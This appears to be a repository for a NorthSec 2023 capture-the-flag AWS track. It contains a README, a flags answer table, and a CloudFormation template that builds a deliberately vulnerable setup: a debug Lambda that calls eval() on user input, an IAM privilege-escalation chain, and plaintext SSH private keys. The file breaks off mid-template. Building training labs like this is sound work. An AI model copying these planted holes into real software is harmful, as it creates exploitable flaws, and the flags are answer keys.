├── LICENSE ├── README.md ├── flags └── flags.md ├── provisioning ├── ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip └── template.yaml └── walkthrough ├── diagram.png └── walkthrough.md /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Marc-Antoine Bernier and Simon Décosse 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NorthSec CTF 2023 AWS Track 2 | This project contains the necessary files to deploy the AWS track named "Annual Review" from the NorthSec CTF 2023 developed by [@marcan2020](https://twitter.com/marcan2020) and [@simondotsh](https://twitter.com/simondotsh). 3 | 4 | ## Requirements 5 | * An AWS account 6 | * A web server to serve files and retrieve information from access logs such as credentials sent by a Lambda function during provisioning. 7 | 8 | ## Deploying 9 | 1. Host the [track source code](provisioning/ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip) at the root of a web server. Ensure you can read access logs. 10 | 2. Using the AWS CloudFormation service in `us-east-1`, create a stack using the [template](provisioning/template.yaml). 11 | 3. When requested, fill the `ProvisioningUrl` parameter with the URL of your web server, e.g. `http://44.209.164.138`. 12 | 4. Once created, wait 5 to 10 minutes for the resources to be available. 13 | 5. In your web server's access logs, you should see the following: 14 | ``` 15 | 44.213.65.17 - - [24/May/2023:20:41:25 -0400] "GET /ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip HTTP/1.1" 200 14419320 "-" "Python-urllib/3.9" 16 | 44.202.66.80 - - [24/May/2023:20:43:30 -0400] "GET /nsec_aws?raw=588100578632,44.214.5.185,vlMfvX0w5ZqRrs6k92dz HTTP/1.1" 404 162 "-" "Python-urllib/3.9" 17 | ``` 18 | 19 | The last line contains the information `Account_ID,IP,Password`. You will need the IP and the password to access the challenge. 20 | 21 | ## Accessing the Track 22 | * URL: `http://$IP:8080/employee-review/` 23 | * Username: `120875ABAB` 24 | * Password: the one noted from the previous step 25 | 26 | Note that the web server may take 5 minutes to be available due to installing updates on the EC2 after you have received the information on your web server. 27 | 28 | ## Flags 29 | See [flags](flags/flags.md) for the list of flags and return strings. 30 | 31 | ## Walkthrough 32 | See [walkthrough](walkthrough/walkthrough.md). 33 | 34 | ## License 35 | See the LICENSE file for legal wording. Essentially it is MIT, meaning that we cannot be held responsible for whatever results from using this code, and do not offer any warranty. By agreeing to this, you are free to use and do anything you like with the code. 36 | -------------------------------------------------------------------------------- /flags/flags.md: -------------------------------------------------------------------------------- 1 | # Flags 2 | 3 | | # | Value | Return String | 4 | | - | ----- | ------------- | 5 | | 1 | flag-d19650aa911acb7c130aa380601d169d3bd08ab4 | Maybe with HR credentials, I could do something about my score. (1/7) | 6 | | 2 | flag-9add6a1bb1cde15c378eacbacd720efc69501967 | What can I retrieve as HR now? (2/7) | 7 | | 3 | flag-7fa969573c3ff2190e892095166cf71635eca0be | They got a score of 4 but leaked credentials in the doc... Really fair. (3/7) | 8 | | 4 | flag-5aac692710f20e627fc5792d9c06f958238d0f51 | Looks like I'm on the right track. (4/7) | 9 | | 5 | flag-b3e3a5a9f911e5bce45feea39bd9691d9b947ab3 | I'm a sysadmin now?! (5/7) | 10 | | 6 | flag-ade0a5bd542f0f44ca7dc4f87daa9769a89af5cc | Surely, I can change my score from here. (6/7) | 11 | | 7 | flag-c864200f489ced11366937f6d393257a0ad5e58d | I'm confident this will result in a large bonus. (7/7) | -------------------------------------------------------------------------------- /provisioning/ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simondotsh/nsec2023-ctf-aws/db3007113149d364bc3f78cbe1b5c495ca26c08a/provisioning/ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip -------------------------------------------------------------------------------- /provisioning/template.yaml: -------------------------------------------------------------------------------- 1 | # Useful links: 2 | # https://aws.permissions.cloud/ 3 | # https://theburningmonk.com/cloudformation-ref-and-getatt-cheatsheet/ 4 | 5 | Parameters: 6 | ProvisioningUrl: 7 | Type: String 8 | Description: Enter the URL where to download the zip file and post credentials (e.g. http://44.209.164.138) 9 | 10 | Resources: 11 | 12 | ###################################### 13 | ############# NETWORKING ############# 14 | ###################################### 15 | 16 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-vpc.html#aws-resource-ec2-vpc--examples 17 | VPC: 18 | Type: AWS::EC2::VPC 19 | Properties: 20 | CidrBlock: 172.16.0.0/24 21 | 22 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-internetgateway.html 23 | InternetGateway: 24 | Type: AWS::EC2::InternetGateway 25 | 26 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-vpc-gateway-attachment.html#aws-resource-ec2-vpc-gateway-attachment--examples 27 | InternetGatewayAttachment: 28 | Type: AWS::EC2::VPCGatewayAttachment 29 | Properties: 30 | InternetGatewayId: !Ref InternetGateway 31 | VpcId: !Ref VPC 32 | 33 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-routetable.html 34 | RouteTable: 35 | Type: AWS::EC2::RouteTable 36 | Properties: 37 | VpcId: !Ref VPC 38 | 39 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-route.html 40 | Route: 41 | Type: AWS::EC2::Route 42 | # Avoid bug: https://github.com/weaveworks/eksctl/issues/2047 43 | DependsOn: 44 | - InternetGatewayAttachment 45 | Properties: 46 | RouteTableId: !Ref RouteTable 47 | DestinationCidrBlock: 0.0.0.0/0 48 | GatewayId: !Ref InternetGateway 49 | 50 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-subnet.html#aws-resource-ec2-subnet--examples 51 | Subnet: 52 | Type: AWS::EC2::Subnet 53 | Properties: 54 | VpcId: !Ref VPC 55 | CidrBlock: 172.16.0.0/24 56 | AvailabilityZone: us-east-1a 57 | 58 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-subnetroutetableassociation.html 59 | SubnetRouteTableAssocation: 60 | DependsOn: 61 | - Route 62 | Type: AWS::EC2::SubnetRouteTableAssociation 63 | Properties: 64 | RouteTableId: !Ref RouteTable 65 | SubnetId: !Ref Subnet 66 | 67 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-security-group.html#aws-properties-ec2-security-group--examples 68 | SecurityGroup: 69 | Type: AWS::EC2::SecurityGroup 70 | Properties: 71 | GroupDescription: Allow traffic to client host 72 | VpcId: !Ref VPC 73 | SecurityGroupIngress: 74 | - IpProtocol: tcp 75 | FromPort: 56987 76 | ToPort: 56987 77 | CidrIp: 0.0.0.0/0 78 | - IpProtocol: tcp 79 | FromPort: 8080 80 | ToPort: 8080 81 | CidrIp: 0.0.0.0/0 82 | - IpProtocol: tcp 83 | FromPort: 1990 84 | ToPort: 1990 85 | CidrIp: 0.0.0.0/0 86 | 87 | ###################################### 88 | ############# DATABASES ############## 89 | ###################################### 90 | 91 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-dynamodb-table.html 92 | DynamoEmployeeLogin: 93 | Type: 'AWS::DynamoDB::Table' 94 | Properties: 95 | TableName: GOD_LoginEmployee 96 | AttributeDefinitions: 97 | - AttributeName: EmployeeId 98 | AttributeType: S 99 | - AttributeName: Password 100 | AttributeType: S 101 | KeySchema: 102 | - AttributeName: EmployeeId 103 | KeyType: HASH 104 | - AttributeName: Password 105 | KeyType: RANGE 106 | ProvisionedThroughput: 107 | ReadCapacityUnits: 5 108 | WriteCapacityUnits: 5 109 | 110 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-dynamodb-table.html 111 | DynamoManagerLogin: 112 | Type: 'AWS::DynamoDB::Table' 113 | Properties: 114 | TableName: GOD_LoginManager 115 | AttributeDefinitions: 116 | - AttributeName: EmployeeId 117 | AttributeType: S 118 | - AttributeName: Password 119 | AttributeType: S 120 | KeySchema: 121 | - AttributeName: EmployeeId 122 | KeyType: HASH 123 | - AttributeName: Password 124 | KeyType: RANGE 125 | ProvisionedThroughput: 126 | ReadCapacityUnits: 5 127 | WriteCapacityUnits: 5 128 | 129 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-dynamodb-table.html 130 | DynamoReview: 131 | Type: 'AWS::DynamoDB::Table' 132 | Properties: 133 | TableName: GOD_ReviewEmployee 134 | AttributeDefinitions: 135 | - AttributeName: EmployeeId 136 | AttributeType: S 137 | - AttributeName: Review 138 | AttributeType: N 139 | - AttributeName: Comment 140 | AttributeType: S 141 | KeySchema: 142 | - AttributeName: EmployeeId 143 | KeyType: HASH 144 | ProvisionedThroughput: 145 | ReadCapacityUnits: 5 146 | WriteCapacityUnits: 5 147 | GlobalSecondaryIndexes: 148 | - IndexName: "secondaryIndex" 149 | KeySchema: 150 | - AttributeName: "Comment" 151 | KeyType: "HASH" 152 | - AttributeName: Review 153 | KeyType: RANGE 154 | Projection: 155 | ProjectionType: ALL 156 | ProvisionedThroughput: 157 | ReadCapacityUnits: 5 158 | WriteCapacityUnits: 5 159 | 160 | ###################################### 161 | ############# S3 Bucket ############## 162 | ###################################### 163 | 164 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-s3-bucket.html#aws-properties-s3-bucket--examples 165 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-s3-bucket-publicaccessblockconfiguration.html 166 | GODS3CorporationBucket: 167 | Type: 'AWS::S3::Bucket' 168 | Properties: 169 | AccessControl: Private 170 | OwnershipControls: 171 | Rules: 172 | - ObjectOwnership: BucketOwnerPreferred 173 | PublicAccessBlockConfiguration: 174 | BlockPublicAcls: False 175 | BlockPublicPolicy: False 176 | IgnorePublicAcls: False 177 | RestrictPublicBuckets: False 178 | 179 | ###################################### 180 | ############# IAM #################### 181 | ###################################### 182 | 183 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-user.html 184 | DynamoReaderUser: 185 | Type: 'AWS::IAM::User' 186 | Properties: 187 | UserName: GOD_DynamoReader 188 | Policies: 189 | - PolicyName: GOD_DynamoReader 190 | PolicyDocument: 191 | Version: "2012-10-17" 192 | Statement: 193 | - Effect: Allow 194 | Action: 195 | - "dynamodb:DescribeTable" 196 | - "dynamodb:Scan" 197 | - "dynamodb:Get*" 198 | - "dynamodb:Query" 199 | Resource: 200 | - !GetAtt DynamoEmployeeLogin.Arn 201 | - !GetAtt DynamoReview.Arn 202 | - Effect: Allow 203 | Action: 204 | - "dynamodb:ListTables" 205 | Resource: "*" 206 | 207 | 208 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-user.html 209 | DynamoManagerUser: 210 | Type: 'AWS::IAM::User' 211 | Properties: 212 | UserName: GOD_DynamoManager 213 | Policies: 214 | - PolicyName: GOD_DynamoManager 215 | PolicyDocument: 216 | Version: "2012-10-17" 217 | Statement: 218 | - Effect: Allow 219 | Action: 220 | - "dynamodb:DescribeTable" 221 | - "dynamodb:Scan" 222 | - "dynamodb:Get*" 223 | - "dynamodb:Query" 224 | Resource: 225 | - !GetAtt DynamoManagerLogin.Arn 226 | - !GetAtt DynamoReview.Arn 227 | - Effect: Allow 228 | Action: 229 | - "dynamodb:UpdateItem" 230 | Resource: 231 | - !GetAtt DynamoReview.Arn 232 | - Effect: Allow 233 | Action: 234 | - "dynamodb:ListTables" 235 | Resource: "*" 236 | 237 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-accesskey.html 238 | DynamoReaderKey: 239 | Type: 'AWS::IAM::AccessKey' 240 | Properties: 241 | UserName: !Ref DynamoReaderUser 242 | 243 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-accesskey.html 244 | DynamoManagerKey: 245 | Type: 'AWS::IAM::AccessKey' 246 | Properties: 247 | UserName: !Ref DynamoManagerUser 248 | 249 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-user.html 250 | ServiceAccountUser: 251 | Type: 'AWS::IAM::User' 252 | Properties: 253 | UserName: GOD_svc_iam 254 | Policies: 255 | - PolicyName: GOD_IAM_Management 256 | PolicyDocument: 257 | Version: "2012-10-17" 258 | Statement: 259 | - Effect: Allow 260 | Action: 261 | - "iam:ListRoles" 262 | - "iam:ListPolicies" 263 | - "iam:ListPolicyVersions" 264 | - "iam:ListRolePolicies" 265 | - "iam:ListAttachedRolePolicies" 266 | - "iam:ListAttachedUserPolicies" 267 | - "iam:ListAttachedGroupPolicies" 268 | - "iam:GetPolicy" 269 | - "iam:GetPolicyVersion" 270 | - "iam:GetRolePolicy" 271 | - "iam:GetUserPolicy" 272 | Resource: "*" 273 | 274 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-accesskey.html 275 | ServiceAccountKey: 276 | Type: 'AWS::IAM::AccessKey' 277 | Properties: 278 | UserName: !Ref ServiceAccountUser 279 | 280 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html#aws-resource-iam-role--examples 281 | IamManagerRole: 282 | Type: 'AWS::IAM::Role' 283 | Properties: 284 | RoleName: GOD_IAM-Manager-Role 285 | AssumeRolePolicyDocument: 286 | Version: "2012-10-17" 287 | Statement: 288 | - Effect: Allow 289 | Principal: 290 | AWS: !GetAtt ServiceAccountUser.Arn 291 | Action: 292 | - 'sts:AssumeRole' 293 | Path: / 294 | Policies: 295 | - PolicyName: GOD_AttachCustomPolicies 296 | PolicyDocument: 297 | Version: "2012-10-17" 298 | Statement: 299 | - Effect: Allow 300 | Action: 301 | - "iam:AttachUserPolicy" 302 | Resource: "*" 303 | Condition: 304 | ArnEquals: 305 | "iam:PolicyARN": "arn:aws:iam::*:policy/GOD_Custom*" 306 | 307 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html#aws-resource-iam-role--examples 308 | CustomDebugLambdaRole: 309 | Type: 'AWS::IAM::Role' 310 | Properties: 311 | RoleName: "GOD_CustomDebugLambdaRole" 312 | AssumeRolePolicyDocument: 313 | Version: "2012-10-17" 314 | Statement: 315 | - Effect: Allow 316 | Principal: 317 | Service: 318 | - lambda.amazonaws.com 319 | Action: 320 | - 'sts:AssumeRole' 321 | Path: / 322 | Policies: 323 | - PolicyName: GOD_LambdaAutomation 324 | PolicyDocument: 325 | Version: "2012-10-17" 326 | Statement: 327 | - Effect: Allow 328 | Action: 329 | - "secretsmanager:GetSecretValue" 330 | - "secretsmanager:DescribeSecret" 331 | Resource: !Ref EmployeeSecretKeySSH 332 | 333 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-managedpolicy.html#aws-resource-iam-managedpolicy--examples 334 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-policy.html#aws-resource-iam-policy--examples 335 | CustomPolicy: 336 | Type: 'AWS::IAM::ManagedPolicy' 337 | Properties: 338 | ManagedPolicyName: "GOD_CustomDebugEmployeeReview" 339 | PolicyDocument: 340 | Version: "2012-10-17" 341 | Statement: 342 | - Effect: Allow 343 | Action: 344 | - "lambda:InvokeFunction" 345 | - "lambda:GetFunction" 346 | Resource: !GetAtt DebugEmployeeAppLambda.Arn 347 | 348 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html#aws-resource-iam-role--examples 349 | EC2Role: 350 | Type: 'AWS::IAM::Role' 351 | Properties: 352 | RoleName: GOD_Ec2Role 353 | AssumeRolePolicyDocument: 354 | Version: "2012-10-17" 355 | Statement: 356 | - Effect: Allow 357 | Principal: 358 | Service: 359 | - ec2.amazonaws.com 360 | Action: 361 | - 'sts:AssumeRole' 362 | Path: / 363 | Policies: 364 | - PolicyName: GOD_EC2S3 365 | PolicyDocument: 366 | Version: "2012-10-17" 367 | Statement: 368 | - Effect: Allow 369 | Action: 370 | - "secretsmanager:GetSecretValue" 371 | - "secretsmanager:DescribeSecret" 372 | Resource: 373 | - !Ref EmployeeSecretKeySSH 374 | - !Ref ManagerSecretKeySSH 375 | - Effect: Allow 376 | Action: 377 | - "s3:ListBucket" 378 | Resource: 379 | - !GetAtt GODS3CorporationBucket.Arn 380 | - Effect: Allow 381 | Action: 382 | - "s3:GetObject" 383 | - "s3:DeleteObject" 384 | Resource: 385 | - !Join 386 | - "/" 387 | - - !GetAtt GODS3CorporationBucket.Arn 388 | - "*" 389 | - Effect: Allow 390 | Action: 391 | - "s3:ListAllMyBuckets" 392 | Resource: "*" 393 | 394 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-instanceprofile.html#aws-resource-iam-instanceprofile--examples 395 | InstanceProfile: 396 | Type: "AWS::IAM::InstanceProfile" 397 | Properties: 398 | Path: "/" 399 | Roles: 400 | - !Ref EC2Role 401 | 402 | ###################################### 403 | ########## Secrets Manager ########### 404 | ###################################### 405 | 406 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-secretsmanager-secret.html 407 | EmployeeSecretKeySSH: 408 | Type: 'AWS::SecretsManager::Secret' 409 | Properties: 410 | Name: GOD_EmployeeAppDebugKey 411 | SecretString: >- 412 | { 413 | "public": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICVrR5aw/ZwIfgxkEA9oJ7coJj9xHjFVV5Ai1TY3UuOL", 414 | "private": "-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACAla0eWsP2cCH4MZBAPaCe3KCY/cR4xVVeQItU2N1LjiwAAAJgXeepnF3nqZwAAAAtzc2gtZWQyNTUxOQAAACAla0eWsP2cCH4MZBAPaCe3KCY/cR4xVVeQItU2N1LjiwAAAEA96APib0OX87iFdi2MChghHqFous4KFPaNbXPVE+tpryVrR5aw/ZwIfgxkEA9oJ7coJj9xHjFVV5Ai1TY3UuOLAAAAFXNpbW9uQGFuZ3Vpc2hlZC5sb2NhbA==
-----END OPENSSH PRIVATE KEY-----
" 415 | } 416 | 417 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-secretsmanager-secret.html 418 | ManagerSecretKeySSH: 419 | Type: 'AWS::SecretsManager::Secret' 420 | Properties: 421 | Name: GOD_ManagerAppDebugKey 422 | SecretString: >- 423 | { 424 | "public": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFMWgLKxLWU23gKBf/AV8x8pD6o12x6JY3u/2Sq09yFG", 425 | "private": "-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACBTFoCysS1lNt4CgX/wFfMfKQ+qNdseiWN7v9kqtPchRgAAAJhes7WGXrO1hgAAAAtzc2gtZWQyNTUxOQAAACBTFoCysS1lNt4CgX/wFfMfKQ+qNdseiWN7v9kqtPchRgAAAEALoLrVUPDHF1zb7rutNhzYS01nJv1PEOy/C8+rAR9oFlMWgLKxLWU23gKBf/AV8x8pD6o12x6JY3u/2Sq09yFGAAAAFXNpbW9uQGFuZ3Vpc2hlZC5sb2NhbA==
-----END OPENSSH PRIVATE KEY-----
" 426 | } 427 | 428 | ###################################### 429 | ########## Lambda #################### 430 | ###################################### 431 | 432 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html 433 | DebugEmployeeAppLambda: 434 | Type: AWS::Lambda::Function 435 | Properties: 436 | FunctionName: "GOD_DebugEmployeeApp" 437 | Runtime: python3.9 438 | Role: !GetAtt CustomDebugLambdaRole.Arn 439 | Handler: index.lambda_handler 440 | Timeout: 30 441 | Code: 442 | ZipFile: 443 | !Sub | 444 | import json 445 | import boto3 446 | 447 | def get_ssh_usage(): 448 | return 200, """ 449 | Documentation has been moved to infrastructure.md 450 | """ 451 | 452 | def get_private_key(): 453 | # flag-5aac692710f20e627fc5792d9c06f958238d0f51 454 | client = boto3.client('secretsmanager', region_name='${AWS::Region}') 455 | response = client.get_secret_value(SecretId='${EmployeeSecretKeySSH}') 456 | secret = json.loads(response['SecretString']) 457 | key = secret['private'] 458 | return 200, key 459 | 460 | def debug(cmd): 461 | output = str(eval(cmd)) 462 | output_length = len(output) 463 | if (output_length > 200): 464 | msg = "Output is too big, we are trying to save bandwitdh : %s characters" % output_length 465 | return 507, msg 466 | else: 467 | return 200, output 468 | 469 | def process_command(event): 470 | command = event['command'] 471 | 472 | if (command == "STATUS"): 473 | return 200, "Everything is running smoothly" 474 | 475 | elif (command == "TEATIME"): 476 | return 418, "Want some tea?" 477 | 478 | elif (command == "DEBUG"): 479 | return debug(event['debug_cmd']) 480 | 481 | # Working but disabled for now 482 | # elif (command == "SSH_KEY"): 483 | # return get_private_key() 484 | 485 | # Working but disabled for now 486 | # elif (command == "SSH_USAGE"): 487 | # return get_ssh_usage() 488 | 489 | else: 490 | return 404, "command not found" 491 | 492 | def main(event): 493 | code, output = process_command(event) 494 | return { 495 | 'statusCode': code, 496 | 'body': json.dumps(output) 497 | } 498 | 499 | def lambda_handler(event, texcont): 500 | try: 501 | return main(event) 502 | except: 503 | return {'statusCode': 500} 504 | 505 | ###################################### 506 | ######### EC2 ############### 507 | ###################################### 508 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-instance.html 509 | GODContainerManager: 510 | Type: AWS::EC2::Instance 511 | DependsOn: 512 | - SubnetRouteTableAssocation 513 | - InternetGateway 514 | - InvokeCustomLambda 515 | Properties: 516 | InstanceType: t2.micro 517 | ImageId: ami-053b0d53c279acc90 518 | AvailabilityZone: us-east-1a 519 | IamInstanceProfile: !Ref InstanceProfile 520 | NetworkInterfaces: 521 | - AssociatePublicIpAddress: True 522 | DeviceIndex: 0 523 | SubnetId: !Ref Subnet 524 | GroupSet: 525 | - !Ref SecurityGroup 526 | UserData: 527 | Fn::Base64: 528 | !Sub | 529 | #!/bin/bash 530 | 531 | # Install dependencies 532 | apt-get update 533 | DEBIAN_FRONTEND=noninteractive apt-get upgrade -y 534 | DEBIAN_FRONTEND=noninteractive apt-get install -y \ 535 | unzip \ 536 | awscli 537 | 538 | # Setup docker 539 | curl -fsSL https://get.docker.com -o get-docker.sh 540 | sh get-docker.sh 541 | 542 | # Retrieve source code from bucket 543 | cd /opt 544 | aws s3 cp s3://${GODS3CorporationBucket}/source.zip /opt/source.zip 545 | unzip source.zip 546 | 547 | # Retrieve debug ssh keys (will be used when building containers) 548 | aws secretsmanager get-secret-value --secret-id GOD_EmployeeAppDebugKey --region us-east-1 > employee_app_secrets.json 549 | aws secretsmanager get-secret-value --secret-id GOD_ManagerAppDebugKey --region us-east-1 > manager_app_secrets.json 550 | 551 | # We don't need the source anymore 552 | aws s3 rm s3://${GODS3CorporationBucket}/source.zip 553 | 554 | # Run cleanup script 555 | sh /opt/clean.sh 556 | 557 | # Get nginx conf (will be used by the nginx container) 558 | aws s3 cp s3://${GODS3CorporationBucket}/nginx.conf /opt/nginx.conf 559 | 560 | # Start containers 561 | docker compose up --build -d 562 | 563 | ###################################### 564 | ######### Provisioning ############### 565 | ###################################### 566 | 567 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html#aws-resource-iam-role--examples 568 | LambdaRole: 569 | Type: 'AWS::IAM::Role' 570 | Properties: 571 | AssumeRolePolicyDocument: 572 | Version: "2012-10-17" 573 | Statement: 574 | - Effect: Allow 575 | Principal: 576 | Service: 577 | - lambda.amazonaws.com 578 | Action: 579 | - 'sts:AssumeRole' 580 | Path: / 581 | Policies: 582 | - PolicyName: LambdaAutomation 583 | PolicyDocument: 584 | Version: "2012-10-17" 585 | Statement: 586 | - Effect: Allow 587 | Action: 588 | - "dynamodb:PutItem" 589 | Resource: 590 | - !GetAtt DynamoEmployeeLogin.Arn 591 | - !GetAtt DynamoManagerLogin.Arn 592 | - !GetAtt DynamoReview.Arn 593 | - Effect: Allow 594 | Action: 595 | - "iam:DetachUserPolicy" 596 | Resource: 597 | - !GetAtt DynamoReaderUser.Arn 598 | - !GetAtt ServiceAccountUser.Arn 599 | - Effect: Allow 600 | Action: 601 | - "s3:PutObject" 602 | - "s3:DeleteObject" 603 | - "s3:PutObjectAcl" 604 | - "s3:GetObject" 605 | Resource: !Join 606 | - "/" 607 | - - !GetAtt GODS3CorporationBucket.Arn 608 | - "*" 609 | 610 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html 611 | CustomBackendLambda: 612 | Type: AWS::Lambda::Function 613 | Properties: 614 | Runtime: python3.9 615 | Role: !GetAtt LambdaRole.Arn 616 | Handler: index.lambda_handler 617 | Timeout: 90 618 | Code: 619 | ZipFile: 620 | !Sub | 621 | import boto3 622 | import os 623 | import json 624 | import urllib.request 625 | import cfnresponse 626 | import secrets 627 | import string 628 | import random 629 | 630 | PASSWORD_CHARSET = string.ascii_letters + string.digits 631 | def get_password(): 632 | pwd = '' 633 | for i in range(20): 634 | pwd += ''.join(secrets.choice(PASSWORD_CHARSET)) 635 | return pwd 636 | 637 | BUCKET = "${GODS3CorporationBucket}" 638 | FLAG2 = 'flag-9add6a1bb1cde15c378eacbacd720efc69501967' 639 | FLAG3 = 'flag-7fa969573c3ff2190e892095166cf71635eca0be' 640 | FLAG3_FILE = "infrastructure.md" 641 | SOURCECODE_FILE = "source.zip" 642 | SECRETS_FILE = "secrets.txt" 643 | NGINX_FILE = "nginx.conf" 644 | SSH_USER_FILE = "ssh_user.txt" 645 | SSH_USER = "debug_" + ''.join(random.choice(string.hexdigits) for i in range(8)) 646 | MYSELF_PASSWORD_FILE = "MYSELF.txt" 647 | MYSELF_PASSWORD = get_password() 648 | 649 | def get_user(prefix=""): 650 | return prefix + ''.join(random.choice(string.digits) for i in range(6)) + ''.join(random.choice(string.ascii_uppercase) for i in range(4)) 651 | 652 | def get_nginx_conf(): 653 | return """ 654 | server { 655 | server_name _; 656 | 657 | location = / { 658 | return 404; 659 | } 660 | 661 | location /employee-review/ { 662 | proxy_set_header X-Real-IP $remote_addr; 663 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 664 | proxy_set_header Host $http_host; 665 | proxy_pass http://employeeapp/; 666 | } 667 | 668 | location /manager-reviewing/ { 669 | proxy_set_header X-Real-IP $remote_addr; 670 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 671 | proxy_set_header Host $http_host; 672 | proxy_pass http://managerapp/; 673 | } 674 | }""" 675 | 676 | def get_infrastructure_markdown(): 677 | return """ 678 | # 978273KULS' Infrastructure Documentation (%s) 679 | This documentation aims to offer brief guidance to successfully operate the IAM service account in G.O.D.'s AWS account. 680 | 681 | ## Installation 682 | Install [AWS CLI version 2](https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html). 683 | 684 | ## Configuration 685 | To easily handle the use of multiple access tokens, define profiles in your credentials. Begin by adding a profile for the service account like so: 686 | 687 | `vim ~/.aws/credentials` 688 | ``` 689 | [svc_iam] 690 | aws_access_key_id=${ServiceAccountKey} 691 | aws_secret_access_key=${ServiceAccountKey.SecretAccessKey} 692 | region=${AWS::Region} 693 | ``` 694 | 695 | You can validate that the profile is functional by using the following command: 696 | 697 | `aws sts get-caller-identity --profile svc_iam` 698 | 699 | When successful, the command returns the user ID, the account ID and the user's ARN. 700 | 701 | ## Permissions 702 | Execute the next command to retrieve the service account's privileges: 703 | 704 | `aws iam get-user-policy --user-name ${ServiceAccountUser} --policy-name GOD_IAM_Management --profile svc_iam` 705 | 706 | ## To Keep in Mind 707 | * All AWS resources created by G.O.D. are recognizable by the prefix `GOD_` or the string `god` in their name. This allows to quickly identify G.O.D. resources when a command also returns resources created by default (e.g. roles). 708 | * When using the IAM service to award privileges (e.g. attaching a role), there may be a delay of a few minutes until the new privileges are reflected when using the API ([https://stackoverflow.com/questions/20156043/how-long-should-i-wait-after-applying-an-aws-iam-policy-before-it-is-valid](https://stackoverflow.com/questions/20156043/how-long-should-i-wait-after-applying-an-aws-iam-policy-before-it-is-valid)) 709 | 710 | ## Debug with SSH 711 | Usage: ssh USER@HOST -i private.key -p PORT 712 | - Internal port: 22 713 | - External port: 56987 714 | 715 | ### User 716 | The user `%s` is used on all containers. 717 | 718 | ### Private Keys From Secrets Manager 719 | Your private key should look like this: 720 | 721 | ``` 722 | -----BEGIN OPENSSH 